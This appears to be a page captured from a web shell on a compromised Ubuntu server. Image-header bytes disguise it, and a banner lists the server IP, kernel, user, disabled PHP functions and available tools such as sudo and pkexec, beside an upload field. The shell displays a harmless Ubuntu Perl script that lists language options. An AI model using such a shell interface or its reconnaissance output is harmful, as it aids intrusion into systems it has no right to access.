����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.216.77.184 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/share/language-tools/ |
Upload File : |
#!/usr/bin/perl use strict; use warnings; my $langtoolsdir = '/usr/share/language-tools'; # get the locales available on the system my @avail_locales = map { chomp; s/\.utf8//; $_ } qx( locale -a | grep -F .utf8 ); # add items without country code to facilitate lookups my %extended_localelist; for my $loc (@avail_locales) { ( my $lang = $loc ) =~ s/_[A-Z]+//; @extended_localelist{$loc, $lang} = (1, 1); } # get the directory names in /usr/share/locale-langpack plus possible other # translation directory names in /usr/share/locale and /usr/local/share/locale my %translation_dirs; if ( opendir my ($dh), '/usr/share/locale-langpack' ) { $translation_dirs{$_} = 1 for readdir $dh; } my %langpack_langcodes = map { s/[^a-z].+//; $_, 1 } grep !/^\./, keys %translation_dirs; for my $t_dir ('/usr/share/locale', '/usr/local/share/locale') { if ( opendir my ($dh), $t_dir ) { for ( readdir $dh ) { for my $lang ( keys %langpack_langcodes ) { if ( /^$lang[_@]/ ) { $translation_dirs{$_} = 1; last; } } } } } # Assume that 'en' is present even if the English language pack isn't installed if ( ! $translation_dirs{'en'} and "@avail_locales" =~ /\ben_US\b/ ) { $translation_dirs{'en'} = 1; } # get the intersection of available translation_dirs and the extended locale list my %intersection; for ( keys %extended_localelist ) { $intersection{$_} = 1 if $translation_dirs{$_}; } # adjustments if ( open my $fh, '<', "$langtoolsdir/main-countries" ) { # If country code items in a language exist: # - Remove the item without country code, since gettext won't find a # translation under e.g. 'de_DE' if the first item in LANGUAGE is 'de' # (see https://launchpad.net/bugs/700213). 'en' is kept, though, since # it's always the last item in LANGUAGE per design. # - Make sure that the main dialect of the language is represented among # the country code items (see https://launchpad.net/bugs/710148). my %main; while ( <$fh> ) { next if /^\s*(?:#|$)/; my ($k, $v) = split; $main{$k} = $v; } my %count; for ( keys %intersection ) { next if /^en[^a-z]/; ( my $not_country = $_ ) =~ s/_[A-Z]+//; $count{$not_country} ++; } for my $langcode ( keys %count ) { if ( $count{$langcode} > 1 ) { delete $intersection{$langcode}; $intersection{ $main{$langcode} } = 1 if $main{$langcode}; } } } else { # not access to the language-to-main-dialect map # => stick with a minimum of list manipulation delete $intersection{'zh'}; } # print the resulting list of language options print join("\n", sort keys %intersection) || 'en';